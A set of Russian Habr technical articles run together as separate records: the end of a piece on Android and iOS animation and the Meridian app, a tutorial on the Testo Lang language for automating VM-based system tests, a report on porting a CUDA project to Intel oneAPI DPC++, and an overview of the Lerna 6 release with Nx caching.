Это был долгий способ, чтобы сказать, что все на iOs рисуется с помощью OpenGL. Вот почему анимация на iOs так быстра. Возможно, вы заметили, что `-drawRect` не вызывается для каждого кадра в анимации. Она вызывается однажды, затем вы рисуете свои линии, окружности и текст на поверхности OpenGL (который вы даже не реализовываете), затем Core Animation передвигает эти поверхности вокруг, подобно натягиванию струн на марионетке. И окончательное наложение изображения для каждого кадра выполняется аппаратно при помощи GPU.
По-видимому, Android принял решение раньше о том, что не надо заставлять своих партнеров-производителей добавлять GPU. Это решение было логичным в предверии выхода iPhone, но теперь оно огорчает, также как новое [аппаратное ускорение](http://android-developers.blogspot.com/2011/03/android-30-hardware-acceleration.html) в Android 3.0, которое ограничено начальной программной сборкой системы.
Таким образом, в прекрасной гибкой системе расположений в Android нужно быть очень осторожным. Анимируя определенные набор свойств, вы можете легко заставить процессор делать эту капризную и дорогую раскладку на каждом кадре анимации. И в этом время процессор очень занят разбором некоторых JSON из веб-API или чем-нибудь другим, хорошо?
Meridian для Android
--------------------
В общем, у нас ушло около 4-х месяцев для разработки, создания и выпуска [Meridian для Android](https://market.android.com/details?id=meridian.app).
Когда мы впервые выпустили [Meridian](http://www.meridianapps.com/), номером один в отзывах было: «Вы сделаете версию для Android, пожалуйста?». Даже часто без «пожалуйста».
И получается, что Android является третьей платформой для Meridian. Первой был Windows Mobile, можете в это поверить?
Мы начали создавать то, что мы теперь называем «Meridian» еще до появления iPhone. В то время Windows Mobile была единственной мобильной платформой, способной предоставить нам желаемые практические навыки.
Таким образом, можно сказать, что теперь я имею обширное представление обо всем этом. Всегда будут появляться новые платформы и новые парадигмы для изучения. Лучшее, что мы можем сделать, это понять, откуда они появились и воспользоваться всеми преимуществами и недостатками, чтобы как можно быстрее добавить некоторые удивительные функции, прежде чем они поменяются еще раз. | https://habr.com/ru/post/127212/ | null | ru | null |
# Язык тестовых сценариев Testo Lang: простая автоматизация сложных тестов
Если Вы разрабатываете более-менее сложный программный продукт, то Вам должна быть знакома ситуация, когда системные (end-to-end) тесты по тем или иным причинам автоматизировать не удаётся. На это могут быть разные причины, я приведу несколько примеров:
* У приложения нет и не может быть API, за которое можно зацепиться, по соображениям безопасности;
* Приходится поддерживать legacy-проект, про автоматизацию тестирования которого никто никогда не задумывался;
* Во время тестирования задействуется сторонний продукт, например — антивирус;
* Необходимо проверить работоспособность продукта на большом количестве различных целевых платформ;
* Тестовый стенд представляет собой сложную гетерогенную систему, включающую в себя промежуточное сетевое оборудование.
Эти и многие другие ситуации приводят к худшему кошмару любого разработчика — ручному тестированию. Самое неприятное заключается в том, что нельзя провести тестирование один раз и забыть о нём. Нет, нам приходится перед каждым релизом (а может и чаще) раскатывать виртуалки, устанавливать туда тестируемое приложение и тыкать по кнопкам снова и снова, чтобы убедиться, что мы не словили регрессию.
Если Вы ищете решение этой проблемы — то прошу под кат.
Любой тест, выполняемый на виртуальной машине, можно автоматизировать с помощью последовательности простых действий, таких как движение мышкой или нажатие клавиш на клавиатуре. Это именно те действия, которые совершает тестировщик во время ручного тестирования. Такие тесты могли бы выглядеть, грубо говоря, следующим образом:
```
кликнуть_мышкой_на_кнопке_с_надписью "Сохранить"
напечатать_на_клавиатуре "Hello world"
дождаться_надписи_на_экране "Готово"
```
При этом неважно, что именно вы тестируете: XAML-приложение, Qt-приложение, Electron-приложение, веб-страницу или вообще консольное приложение. Вы кликаете по экрану виртуальной машины и набираете текст на клавиатуре, а как приложение устроено внутри — это Вас уже совершенно не волнует. Удобно? Конечно!
Одна только загвоздка — довольно трудно понять, где на экране виртуалки находится кнопка "Сохранить", и есть ли на экране надпись "Готово". Я думаю, это одна из причин, почему мы не видим на рынке переизбытка инструментов, работающих по описанному принципу.
Однако, в последнее время технологии компьютерного зрения шагнули далеко вперёд. Искусственные нейронные сети успешно справляются с такими сложными задачами, как, например, управление автомобилем. Неужели они не справятся с такой заведомо более простой задачей, как обнаружение элементов GUI на экране виртуальной машины?
Как вы могли уже догадаться, нейросетям такая задача вполне по плечу. Вы можете сами в этом убедиться, попробовав в действии новый инструмент для автоматизации системных тестов — интерпретатор тестовых сценариев Testo. Интерпретатор Testo позволяет выполнять сценарии, написанные на специализированном языке тестовых сценариев Testo Lang, которые выглядят примерно следующим образом:
```
mouse click "Сохранить"
type "Hello world"
wait "Готово"
```
Это всё, что Вам надо написать на языке Testo Lang чтобы:
1. Кликнуть на надпись на экране "Сохранить";
2. Напечатать на клавиатуре "Hello world";
3. Дождаться появления на экране строки "Готово".
Однако, мне бы не хотелось, чтобы у Вас сложилось ложное впечатление, будто бы Testo — это какой-то аналог AutoIt или Sikuli. Нет, это не просто инструмент для автоматизации чего-то-там, это инструмент, заточенный именно под автоматизацию *системных тестов*. Testo берёт под свой контроль значительное количество задач, которые обычно выполняет тестировщик: определение того, какие тесты пора прогнать заново, подготовку виртуального стенда, составление отчёта о том, какие тесты свалились и в какой момент, и так далее.
Так, с этого момента поподробнее
--------------------------------
Итак, мы с Вами говорим именно о системных (end-to-end) тестах. Системные тесты предполагают, что Вы тестируете программу не саму по себе в вакууме, а помещаете её в конкретное окружение и смотрите, как она с этим окружением справится. Под окружением может пониматься что угодно: и версия ОС, и наличие/отсутствие каких-то приложений/драйверов, и взаимодействие по сети, и соединение с Интернетом, и недостаток дискового пространства/оперативной памяти… Да и много чего ещё.
Самый удобный способ создать такое окружение для программы — это установить тестируемую программу внутрь виртуальной машины. Но виртуальную машину необходимо для начала создать и установить на неё операционную систему. Давайте посмотрим, как с этой задачей справляется платформа Testo. Мы предусмотрели специальные конструкции в языке тестовых сценариев Testo Lang, предназначенные для создания элементов виртуальной инфраструктуры Ваших стендов. Например, следующий сниппет объявляет "пустую" виртуалку:
```
machine my_super_vm {
ram: 2Gb
cpus: 2
iso: "ubuntu_server.iso"
disk main: {
size: 5Gb
}
}
```
Эта конструкция создаёт виртуальную машину с 2Гб оперативной памяти, 2 ядрами процессора и 5Гб дискового пространства. При запуске такой виртуалки, начнётся процесс установки операционной системы из образа `ubuntu_server.iso`.
Это может быть несколько непривычно, но мы рассматриваем процесс установки операционной системы как ещё один тест, наравне с теми тестами, в которых проверяется собственно работоспособность Вашей программы. Это утверждение обретёт бОльший смысл, если мы на секунду представим, что мы разрабатываем не программу, а операционную систему. Может быть это какая-то специализированная система, например Alt Linux, а может быть мы разрабатываем игрушечную операционную систему just for fun. В любом случае, тестировать её как-то надо, а платформа Testo подходит для этой цели как нельзя лучше, потому что для неё нет никакой разницы, что мы тестируем: операционную систему или программу.
Так а что же делать с пустой виртуалкой? В качестве примера давайте посмотрим, как мог бы выглядеть тест, написанный на языке Testo Lang и выполняющий установку операционной системы:
```
test my_super_test {
my_super_vm {
start
wait "Language"
press Enter
wait "Install Ubuntu Server"
press Enter
wait "Choose the language"
press Enter
# И так далее
...
}
}
```
Здесь мы видим новую конструкцию языка, которая объявляет тест `my_super_test`. В этом тесте учавствует всего одна виртуалка `my_super_vm`. Тест начинается с включения виртуальной машины. Затем мы дожидаемся, когда на экране появится надпись "Language" и нажимаем клавишу Enter. Собственно, весь тест будет заключаться в последовательности таких действий: ждём наступления события, затем печатаем что-то на клавиатуре.
Разумеется, далеко не всегда хочется заморачиваться с установкой ОС и её первичной настройкой. Поэтому мы предусмотрели возможность импорта диска от другой виртуальной машины:
```
machine my_super_vm {
ram: 2Gb
cpus: 2
disk main: {
source: "prepared_vm.qcow2"
}
}
```
То есть вы можете вручную подготовить виртуальную машину, установить туда ОС, установить дополнительные программы, выполнить какие-то настройки, например, отключить фаервол, а затем получившийся диск от вручную созданной виртуалки использовать как начальное состояние для виртуалок из автотестов.
Подготовка виртуалки и установка ОС — это конечно всё очень хорошо, но тесты, тесты-то на мою программу где? Хорошо, давайте представим, что мы хотим протестировать инсталлятор нашей супер-программы. Представим также, что мы уже вручную подготовили виртуальную машину с Windows 10 на борту. Для простоты примера предположим, что инсталлятор нашей супер-программы уже скопирован на рабочий стол этой виртуалки. Тогда автотест на установку программы будет выглядеть следующим образом:
```
machine my_win_vm {
ram: 2Gb
cpus: 2
disk main: {
source: "my_windows_10.qcow2"
}
}
test my_installer_test {
my_win_vm {
# Запустим виртуальную машину
start
# Дождёмся появления рабочего стола
wait "Корзина"
mouse dclick "my_super_installator"
wait "Добро пожаловать"
mouse click "Далее"
wait "Выберите путь установки"
mouse click "Продолжить"
wait "Успешно" timeout 10m
mouse click "Закрыть"
}
}
```
Правда, просто? А мы только разогреваемся ...
Что за `wait` такой и как он работает?
--------------------------------------
Сделаем мини перерыв и поговорим пару минут о том, как это вообще работает. Тестовые сценарии состоят по большей части из двух вещей:
1. Воздействие на виртуальную машину (mouse move/click, type, press, start/stop, plug flash и много чего ещё);
2. Анализ происходящего на экране (wait).
Так вот, это действие `wait` и является основным видом визуальных проверок в языке Testo Lang. Действие `wait` дожидается появления на экране определённых объектов и событий в течение заданного таймаута (по умолчанию — одна минута). И если событие не наступило — генерируется ошибка (прямо как человек, который ждёт надписи "Успешно" пока у него не кончится, наконец, терпение).
Если мы говорим про поиск текста на экране виртуалки (то бишь — на скриншоте), то обычно для этих целей используют какую-нибудь OCR (Optical Character Recognition) систему (например, Tesseract). Однако, это не совсем верный подход. Дело в том, что OCR-системы строятся исходя из двух постулатов:
* предполагается, что мы ничего не знаем о том, какой текст находится на изображении;
* задача системы — извлечь из изображения как можно больше информации.
В случае автотестов мы имеем совершенно иную ситуацию:
* мы знаем, какой текст должен находиться на изображении;
* задача системы намного проще — требуется сказать, присутствует ли заданный текст на изображении, и, если да — то где он находится.
В платформе Testo для реализации этой задачи мы использовали нейросети. На вход нейросетям мы подаём сразу две вещи: скриншот экрана виртуалки и искомый текст. От нейросети требуется сказать только, есть ли что-то **похожее** на изображении или нет. Например, если мы ищём слово "Hopa", то нам вполне подойдёт как слово, написанное кириллицей, так и слово, написанное латиницей, потому что выглядят они совершенно одинаково.
Такой подход к визуальным проверкам позволил нам добиться приемлемых результатов по точности детекта теста и, в то же время, получить хорошую скорость работы нейросетей даже на CPU. Разумеется, мы не собираемся останавливаться на достигнутом и будем и дальше совершенствовать точность нейросетей, а также добавим возможность нечёткого поиска по картинкам/иконкам.
На одном `wait` далеко не уедешь
--------------------------------
Писать длинные тесты с помощью `wait` + `click` довольно муторно, особенно, если нет автоматического рекодера тестов. Тесты на основе визуальных проверок — это скорее крайний вариант, когда нет другой возможности протестировать приложение или настроить тестовое окружение. Обычно всё же существует возможность выполнить какие-то проверки путём запуска процессов на гостевой системе, например — с помощью bash-скриптов.
Как раз на этот случай мы предусмотрели специальную конструкцию в языке Testo Lang. Для её работы на виртуальной машине должны быть установлены дополнения для гостевых систем, которые постовляются вместе с интерпретатором Testo. После установки гостевых дополнений становится возможным писать такие тесты:
```
test my_super_test {
my_super_vm {
exec bash "echo Hello world from bash"
exec python """
print("Hello from python")
"""
}
}
```
Если какая-либо команда из bash-скрипта завершится с ошибкой, то и весь тест будет считаться проваленным. Аналогично, если python-скрипт вернёт не ноль, то выполнение теста сразу же завершится.
На самом деле довольно многие тестовые сценарии выглядят следующим образом. Сначала с помощью `wait` + `click` на гостевую систему устанавливаются дополнения, а затем проверки сводятся к запуску процессов на виртуалке. Но при этом ничто не мешает в любой момент вернуться к визуальным проверкам. Тут всё зависит от Вас — как Вам удобнее, так и делайте.
Кроме того, гостевые дополнения позволяют легко копировать файлы между виртуалкой и хостом:
```
test copy_demo {
my_super_vm {
copyto "/file/on/host" "/file/on/guest"
copyfrom "/file/on/guest" "/file/on/host"
}
}
```
Да зачем же придумывать целый язык?
-----------------------------------
Мне кажется, многие читатели сейчас думают: "Ребят, серьёзно? Целый язык? Зачем? Ну напишите Вы библиотеку для питона или для чего ещё. Все разумные люди так делают".
На самом деле, причин для создания собственного языка у нас было много. Вот лишь несколько из них:
1. Мы бы хотели, чтобы у нашего языка был минимальный порог вхождения для людей, не знакомых с программированием;
2. Мы бы хотели избавиться от лишней мишуры, присущей языкам общего назначения, оставив только то, что требуется для автотестов;
3. Некоторые фичи, которые мы запилили в Testo-lang, просто так не воткнешь в библиотеку для Python!
Например, Testo поддерживает кеширование тестов, благодаря чему тесты можно прогонять инкрементально — только в случае, когда это необходимо (аналогично инкрементальной компиляции программ).
Допустим, у Вас есть такой тест:
```
test run_installator {
my_super_vm {
copyto "/path/on/host.msi" "C:\\Users\\Testo\\Desktop\\setup.msi"
mouse dclick "setup"
...
}
}
```
Допустим, Вы его запустили, и он прогнался успешно. Если Вы тут же запустите его ещё раз — он отработает мгновенно! Так а действительно, зачем прогонять тест ещё раз, если:
1. Сам тест не менялся;
2. Сборка Вашего инсталлятора не менялась.
А вот как только Вы соберёте новую сборку своего инсталлятора и запустите тест ещё раз — то он запустится заново! Testo отслеживает все внешние файлы, участвующие в тестах, и как только в них что-то меняется, кеш соответствующих тестов сбрасывается. И да, этот механизм полностью прозрачный — Вам не надо писать ничего для того, чтобы это работало.
Ух, круто. А что ещё умеет Testo?
---------------------------------
Одна виртуалка в тестах — это скучно. Самое веселье начинается, когда виртуалок становится много, и они начинают взаимодействовать между собой. В тестовых сценариях Вы можете создавать сколько угодно виртуалок и соединять их сетями (можно и доступ в Интернет добавить):
```
# Сеть для соединения двух виртуальных машин
network net1 {
mode: "internal"
}
# Сеть для доступа в Итнернет
network internet {
mode: "nat"
}
machine my_super_client {
...
nic server_side: {
attached_to: "net1"
}
nic internet: {
attached_to: "internet"
}
}
machine my_super_server {
...
nic client_side: {
attached_to: "net1"
}
}
```
Хотите добавить в стенд флешку? Нет проблем, пара строк и у Вас есть виртуальная флешка (можно даже скопировать на неё что-нибудь с хоста)
```
flash my_super_flash {
fs: ntfs
size: 2048Mb
#Папка с хоста, которую надо скопировать
folder: "/path/on/host"
}
```
Хотите написать реально много тестов? Нет проблем, организуйте их в иерархию! Давайте для большей конкретики рассмотрим такой набор тестов:
1. Установка ОС;
2. Установка гостевых дополнений;
3. Копирование и установка тестируемой программы на виртуалку;
4. Тестирование фичи 1;
5. Тестирование фичи 2.
Очевидно, что каждый последующий тест можно запускать только после того, как успешно отработает предыдущий (кроме последних двух, их можно запускать независимо друг от друга). Поэтому мы можем выстроить такое дерево тестов:
На языке Testo Lang это будет выглядеть не сильно сложнее, чем на рисунке:
```
test install_os {
...
}
test install_guest_additions: install_os {
...
}
test install_app: install_guest_additions {
...
}
test test_feature_1: install_app {
...
}
test test_feature_2: install_app {
...
}
```
При первом запуске тестов, конечно, все тесты прогонятся от начала до конца. Допустим, при этом запуске не произошло никаких ошибок. В этом случае Testo запомнит, что все эти тесты завершились успешно и, соответственно, закешированы:
Если прямо сейчас заново запустить тесты, то они вовсе не прогонятся, так как ничего с момента последнего запуска и не поменялось. Но как только Вы соберёте новый билд своей тестирумой программы, Testo это отловит и инвалидирует кеш 3, 4 и 5 тестов:
При этом тест с установкой ОС и гостевых дополнений останутся закешированными — в них ведь ничего не поменялось, так ведь? ОС та же самая, гостевые дополнения и текст тестового сценария — тоже. Поэтому эти тесты прогоняться заново не будут. Вместо этого Testo откатит виртуалки, которые учавствуют в тестах, к тому состоянию, в котором они пребывали в конце теста `install_guest_additions`.
Простой, но вполне реальный пример
----------------------------------
Возможностей Testo может хватить на десяток статей, поэтому нам бы не хотелось сейчас Вам рассказывать про все из них. Давайте лучше притормозим и рассмотрим базовый, но реальный пример с автоматизацией тестирования простенького самописного standalone-приложения `MySuperApp`.
Это приложение написано на С++ с использованием библиотеки ImGui, у него нет никаких хуков для автоматизации тестирования, но мы всё равно очень хотим на каждую сборку проверять, что оно успешно запускается на Windows 10 и высвечивает нам окошко с надписью "MySuperApp is working!".
Что ж, для начала нам понадобится виртуалка. Для этого примера мы создадим виртуалку на основе уже существующей, вручную подготовленной виртуалки, на которую мы заранее установили Windows 10:
```
machine my_vm {
cpus: 2
ram: 4Gb
disk main: {
source: "${QEMU_DISK_DIR}/win10.qcow2"
}
}
```
А как нам скопировать на виртуалку сборку с нашей программой? Давайте для этого воспользуемся флешкой!
```
flash my_super_flash {
fs: "ntfs"
size: 16Mb
folder: "./dist"
}
```
Сборку с нашей программой поместим в каталог "./dist", а Testo позаботится о том, чтобы она оказалась на флешке.
Ну а теперь пишем сам тест!
```
test launch_my_simple_app {
my_vm {
...
}
}
```
Так, стоп, а с чего начать? Да всё просто — просто записывайте все действия, которые Вы бы проделывали вручную! Для начала виртуалку надо включить.
```
start
```
Окей, а дальше? Дальше надо дождаться появления рабочего стола, конечно же:
```
wait "Recycle Bin" timeout 10m
```
Вставляем флешку
```
plug flash my_super_flash
```
Кликаем по надписи "USB Drive (E:)"
```
mouse click "USB Drive (E:)"
```
Открываем файловый менеджер:
```
mouse click "Open folder to view files"
```
Дважды кликаем по нашему приложению:
```
mouse dclick "MySuperApp"
```
Как же нам понять, что наше приложение успешно запустилось? Ну, мы знаем, что наше приложение при запуске должно высвечивать надпись "hello world". Поэтому если такая надпись появилась на экране, то это с большой долей вероятности свидетельствует о том, что всё хорошо. Это и будет наша основная проверка в тесте:
```
wait "hello world"
```
В конце теста не забываем вытащить флешку, и в сумме у нас получается такой скрипт:
```
test launch_my_simple_app {
my_vm {
start
wait "Recycle Bin" timeout 10m
plug flash my_super_flash
mouse click "USB Drive (E:)"
mouse click "Open folder to view files"
mouse dclick "MySuperApp"
wait "hello world"
unplug flash my_super_flash
}
}
```
Вот собственно и всё, наш первый тест готов. А как его запустить? Да тоже ничего сложного, главное указать путь `QEMU_DISK_DIR`:
```
sudo testo run my_script.testo --param QEMU_DISK_DIR /var/lib/libvirt/qemu/images
```
Мы подготовили небольшой видеоролик, на котором выполняется запуск этого теста:
А теперь, напоследок, давайте попробуем сымитировать ситуацию, когда в нашу программу закралась ошибка.
Например, по какому-то нелепому стечению обстоятельств, мы собрали MySuperApp с динамической линковкой стандартной библиотеки С++ вместо статической. Если программа собрана таким образом, то для её работы на гостевой системе должен быть установлен пакет Microsoft Visual C++ Redistributable. А мы разрабатываем standalone-приложение, которое не должно иметь никаких зависимостей. У разработчика на хостовой системе Microsoft Visual C++ Redistributable конечно же установлен, поэтому такую ошибку легко не заметить.
Итак, мы подкладываем в каталог `./dist` новую сборку нашего приложения и запускаем тесты заново. Вот что мы увидим:
При этом в выводе интерпретатора Testo будет указано, какой тест свалился и в какой именно строчке тестового сценария это произошло:
Тест свалился, ошибка выловлена!
Итоги
-----
Системные тесты — это всегда непросто, но всегда очень ценно. Мы надеемся, что с Testo Вам будет максимально комфортно тестировать свои программы в самых разных условиях, и Вы сможете спать спокойно, зная, что теперь у заказчика Ваша программа будет себя вести так, как и задумывалось.
Скачать Testo абсолютно бесплатно без регистрации и СМС, а также ознакомиться с документацией можно у нас на сайте <https://testo-lang.ru>
[Посмотреть больше примеров можно на youtube-канале](https://www.youtube.com/channel/UC4voSBtFRjRE4V1gzMZoZuA) | https://habr.com/ru/post/521682/ | null | ru | null |
# Портирование CUDA проекта на Intel oneAPI DPC++
Наш программный комплекс позволяет проводить численные исследования хаотической динамики в системах, задаваемых обыкновенными дифференциальными уравнениями и точечными отображениями, с использованием методов параллельного программирования и мощных вычислительных серверов. Основные инструменты исследования программного комплекса реализуют методы ляпуновского анализа (расчет двухпараметрических диаграмм показателей Ляпунова и минимальных углов между подпространствами сжатия и растяжения объемов) для выявления и исследования хаотической динамики, а также методы символической динамики (диаграммы нидинг-инвариантов) для исследования гомоклинических и гетероклинических бифуркаций.
Вспомогательные модули, такие как модуль визуализации, модуль ввода пользовательских систем реализованы на языке Python, с использованием соответствующих библиотек. Основное вычислительное ядро комплекса (вся математика) реализовано на языке Си++, с использованием CUDA framework для параллельных вычислений. Численные эксперименты мы проводим на сервере, оснащенном двумя 28ми ядерными (56ти поточными) процессорами Intel Xeon Platinum, 2.7 GHz, а также восемью видеокартами Nvidia Tesla V100. На нем же, как правило, происходит и сборка вычислительного ядра комплекса.
В рамках совместного проекта с компанией Intel перед нами стояла задача портирования параллельных вычислений комплекса с технологии CUDA на Intel® oneAPI DPC++. Об Intel® oneAPI DPC++ можно найти довольно много информации в интернете, в том числе, на их официальном сайте, поэтому на этом останавливаться не будем, отметим лишь, что DPC++ включает в себя SYCL, а также расширения, разработанные открытым сообществом. Итак, поехали.
Несмотря на то, что среди нас и не было коллег, кто имел бы опыт работы с DPC++ или SYCL, процесс миграции на универсальную платформу для параллельных вычислений от Intel не оказался для нас трудоемким. А все потому, что Intel предоставляет DPC++ Compatibility Tool, которая, как заявляется, автоматически переводит код проекта CUDA на DPC++. Поэтому все, что нам нужно, это прогнать через данную утилиту наш проект и собрать его. Звучит заманчиво.
Для начала нужно установить необходимое программное окружение. С этим у Intel все в порядке. С официального сайта можно скачать [oneAPI Base Toolkit](https://www.intel.com/content/www/us/en/developer/tools/oneapi/base-toolkit.html), который уже содержит в себе упомянутую выше DPC++ Compatibility Tool, а еще необходимые для миграции oneAPI DPC++/C++ Compiler, oneAPI DPC++ Library и многое другое. Так как сервер для сборки и запуска нашего комплекса работает под управлением Windows OS (хотя мы используем CMake для сборки проекта), то Intel® oneAPI Base Toolkit for Windows был успешно установлен на сервер. Удобно, что были автоматически установлены плагины для Visual Studio для работы с DPC++. Это, например, позволило создать тестовый проект на DPC++ в Visual Studio «из коробки».
На сайте есть подробный гайд для работы с [DPC++ Compatibility Tool](https://www.intel.com/content/www/us/en/developer/tools/oneapi/dpc-compatibility-tool.html) для различных платформ, а так же примеры использования утилиты. Есть пример миграции CMake проекта целиком (как раз наш случай), но только для Linux. Для Windows же мигрировать весь проект можно через .vcxproj файл. Кстати, DPC++ Compatibility Tool также встраивается в Visual Studio как плагин и весь процесс можно выполнить с помощью интерфейса Visual Studio, это удобно. Но в нашем случае .vcxproj файла нет, так как мы используем CMake, поэтому пришлось запускать утилиту из командной строки, указывая необходимые аргументы. Из обязательных аргументов: путь до проекта, папки\файлы для миграции и пути для поиска хедер файлов. Строка запуска выглядит примерно так:
```
>dpct.exe --in-root=path_to_source --process-all --extra-arg="-I path_to_include" --extra-arg="-I additional_path_to_include"
```
«Process-all» здесь означает, что утилита должна проанализировать все файлы в указанной директории, можно задать файлы перечислением. Выглядит опять удобно. Стоит сказать, что первые запуски DPC++ Compatibility Tool для нашего проекта выдавали огромное количество ошибок. Все дело в том, что наш проект обладает довольно большим функционалом и как следствие использует сторонние библиотеки, например библиотеку линейной алгебры. С этим и было связанно большое количество ошибок. Утилита находила ошибки не в «нашем коде» и отказывалась продолжать миграцию. Вероятно, можно было бы настроить исключения через дополнительные аргументы к утилите, но существовал риск, что проблемы на этом могут не закончиться. Еще проект содержит ненужные для миграции модули для нагрузочного и юнит тестирования. Поэтому, для экономии времени было принято решение мигрировать не весь проект целиком, а выделить один инструмент – построение диаграмм показателей Ляпунова – и одну исследуемую модель – система Шимицу-Мориока. Как говорится, начать с малого. К тому же, так проще проверять работу утилиты, запускать, и отлаживать новый код. Был создан новый проект с самой базовой функциональностью без лишних библиотек и модулей. Это не избавило полностью от ошибок миграции, но значительно их сократило, оставались в основном косметические правки. Стоит отметить, что Compatibility Tool довольно информативно делает свою работу. Ошибки и предупреждения довольно информативны, генерируемый код содержит комментарии в местах, где необходимо делать ручные правки. Самое частое предупреждение для кода нашего проекта (да и, наверное, любого проекта на CUDA):
> DPCT1003:6: Migrated API does not return error code. (\*, 0) is inserted. You may need to rewrite this code.
>
>
Это связанно с тем, что функции oneAPI не возвращают коды ошибок, как в случае с CUDA API, а бросают исключения. Но утилита генерирует код-заглушку, который позволяет собрать проект «как есть» и убедиться в его работоспособности, а многочисленные правки оставить на потом. Итак, наш урезанный код проекта был успешно мигрирован, все .cu и .cuh файлы были заменены на .dp.cpp и .dp.hpp с DPC++ кодом внутри, оставалось дело за малым, собрать все это и запустить.
Как я уже писал выше, oneAPI Toolkit при установке компонент встраивает соответствующие плагины в IDE (в нашем случае это Visual Studio), что позволяет оперативно создавать DPC++ проекты из Visual Studio, без необходимости заморачиваться над настройкой окружения для сборки проекта. Поэтому нам показалось, что самый простой способ собрать разрозненные файлы в проект, это создать новый DPC++ проект в VS и добавить туда наши файлы. Интеграцию с CMake решили оставить на потом.
Дальше мы приступили к сборке проекта. Естественно, что с первого раза собрать ничего не получилось (хотя не скрою, была надежда), пришлось и с этим немного повозиться. Сразу стало понятно, что утилита для миграции отработала не идеально, почему-то были пропущены файлы c расширением .cpp, но в которых был CUDA код. Пришлось данные файлы отдельно прогонять через утилиту еще раз. Но спишем это на то, что мы просто не умеем правильно пользоваться утилитой и не указали нужные аргументы. Со второй попытки проект был полностью мигрирован на oneAPI DPC++. По крайней мере, компилятор уже не ругался на незнакомый ему CUDA код. Но ошибки при сборке все еще оставались. В основном надо было подкрутить немного настройки проекта, связанные с указанием путей до нужных хедеров.
Но была и одна любопытная вещь, на которой стоит заострить внимание. Компилятор ругался на использование указателей на функции в нашем коде. Мы их используем, для динамического добавления объектов в фабрику. Но SYCL работать с ними не умеет. Переписывать код не очень хотелось, и тут мы вспомнили, что, когда смотрели информацию про oneAPI DPC++ и SYCL, заметили, что одним из достоинств oneAPI DPC++ было то, что там реализована поддержка указателей на функции. Google помог найти правильный аргумент для компилятора, чтобы активировать данную фичу - -fsycl-enable-function-pointers. Наши старания были вознаграждены, проект успешно собрался и запустился. Дальше замеры скорости расчетов на oneAPI DPC++ и сравнение их с CUDA. Intel заявляет, что может получиться небольшой выигрыш в скорости, посмотрим как получится на самом деле.
Кураторы проекта:
* Казаков Алексей Олегович, доктор физико-математических наук
* Овчинников Артем Александрович
Участники проекта:
* Бобровский Андрей Александрович, магистратура ФМ, 1й курс
* Бурдыгина Татьяна Кирилловна, магистратура ФМ, 2й курс
* Кайнов Максим Николаевич, аспирантура ФМ, 1й курс
* Каратецкая Ефросиния Юрьевна, аспирантура ФМ, 1й курс
* Корякин Владислав Андреевич, бакалавриат ФМ, 3й курс
* Самылина Евгения Александровна, аспирантура ФМ, 3й курс
* Солдаткин Константин Алексеевич, бакалавриат, ФМ, 3й курс
* Чигарев Владимир Геннадьевич, аспирантура ФМ, 3й курс
* Шыхмамедов Айкан Ильгар Оглы, магистратура ФМ, 2й курс | https://habr.com/ru/post/673416/ | null | ru | null |
# Перерождение Lerna. Что нового в Lerna 6?
Состоялся релиз Lerna 6!!! В статье собрано все, что вы должны знать о **новом опыте, который предлагает Lerna!**
Lerna продолжает развиваться
----------------------------
Если вы и так это знаете, то можете не читать дальше. Но многие все еще не слышали, что **Lerna вернулась**, не устарела и даже получает новые фичи. Мы из [Nrwl](https://nrwl.io/) являемся создателями Nx, и, учитывая нашу экспертизу в монорепозиториях, мы [предложили взять на себя развитие Lerna](https://blog.nrwl.io/lerna-is-dead-long-live-lerna-61259f97dbd9), когда она была объявлена "мертвой" в апреле 2022 года.
Когда мы получили управление над Lerna начались настоящие американские горки. Мы запустили совершенно [новый сайт](https://lerna.js.org/), обновили документацию и [сделали Lerna в 10 раз быстрее](https://dev.to/nx/lerna-used-to-walk-now-it-can-fly-3661). И вот, **Lerna 6 вышла**!
Быстрая Lerna с кэшированием по умолчанию
-----------------------------------------
Начиная с Lerna 4, для планирования выполнения задач использовались npm пакеты `p-map` и `p-queue`. В [версии 5.1](https://dev.to/nx/lerna-used-to-walk-now-it-can-fly-3661) мы представили `nx` как дополнительный механизм для планирования. Преимущества? Nx имеет встроенный механизм кэширования, что делает Lerna молниеносно быстрой. Недавний тест производительности показал, что **Lerna быстрее чем Lage в 2,5 раза** и **в 4 раза быстрее чем Turbo** (на момент октября 2022 г., [можете проверить сами](https://github.com/vsavkin/large-monorepo)).
Раньше вам нужно было влючать Nx специальным флагом `useNx` в `lerna.json`:
```
// lerna.json
{
...
"useNx": true
}
```
Мы тестировали эту возможность последние несколько месяцев и получили много удивительного фидбэка от компаний и open-source проектов. И как результат, начиная с 6-ой версии флаг `useNx` включен по умолчанию во всех воркспейсах Lerna. Если вы не хотите использовать Nx просто установите значение `useNx: false`.
Перед использованием кэширования убедитесь, что в корне воркспейса Lerna есть файл `nx.json`, в котором определены кэшируемые операции. Для дополнительной конфигурации [ознакомьтесь с документацией](https://lerna.js.org/docs/features/cache-tasks). Пример конфигурационного файла:
```
{
"tasksRunnerOptions": {
"default": {
"runner": "nx/tasks-runners/default",
"options": {
"cacheableOperations": ["build", "test"]
}
}
}
}
```
Обратите внимание, что вы можете сгенерировать файл `nx.json` автоматически, основываясь на конфигурации Lerna:
```
npx lerna add-caching
```
Облачное кэширование
--------------------
Используя Nx как планировщик задач Lerna получает все его возможности. Это включает не только локальное кэширование, но и облачное кэширование (remote caching) и распределенное выполнение задач (distributed task execution).
Облачное кэширование позволяет распространять ваш локальный кэш между коллегами и вашей CI системой. Это делается с помощью [Nx Cloud](https://nx.app/). Но облачное кэширование лишь одна сторона. Nx Cloud также предоставляет "run view", которое визуализирует ваши CI запуски с возможностью группировки и фильтрации, а еще Nx Cloud умеет динамически распределять ваши задачи между несколькими машинах. Все это оптимизируется для наилучшего распараллеливания и использования ресурсов.
Все что вам нужно запустить команду в воркспейсе Lerna:
```
npx nx connect-to-nx-cloud
```
В процессе вы ответите на несколько вопросов и настроите [Nx Cloud](https://nx.app/).
Подробнее читайте [в документации](https://lerna.js.org/docs/features/cache-tasks#distributed-computation-caching).
Настройка пайплайна задач
-------------------------
Запуская задачи в монорепе вы хотите все делать максимально параллельно, но при этом учитывать потенциальные зависимости между задачами. Для примера, допустим у вас есть Remix приложение, которое зависит от библиотеки `shared-ui`. Вы хотите убедиться, что `shared-ui` будет собрана до того как будет собрано или запущенно Remix приложение.
С Lerna 6 вы можете сделать это, определив в `nx.json` файле `targetDefaults`:
```
// nx.json
{
...
"targetDefaults": {
"build": {
"dependsOn": ["^build"]
},
"dev": {
"dependsOn": ["^build"]
}
}
}
```
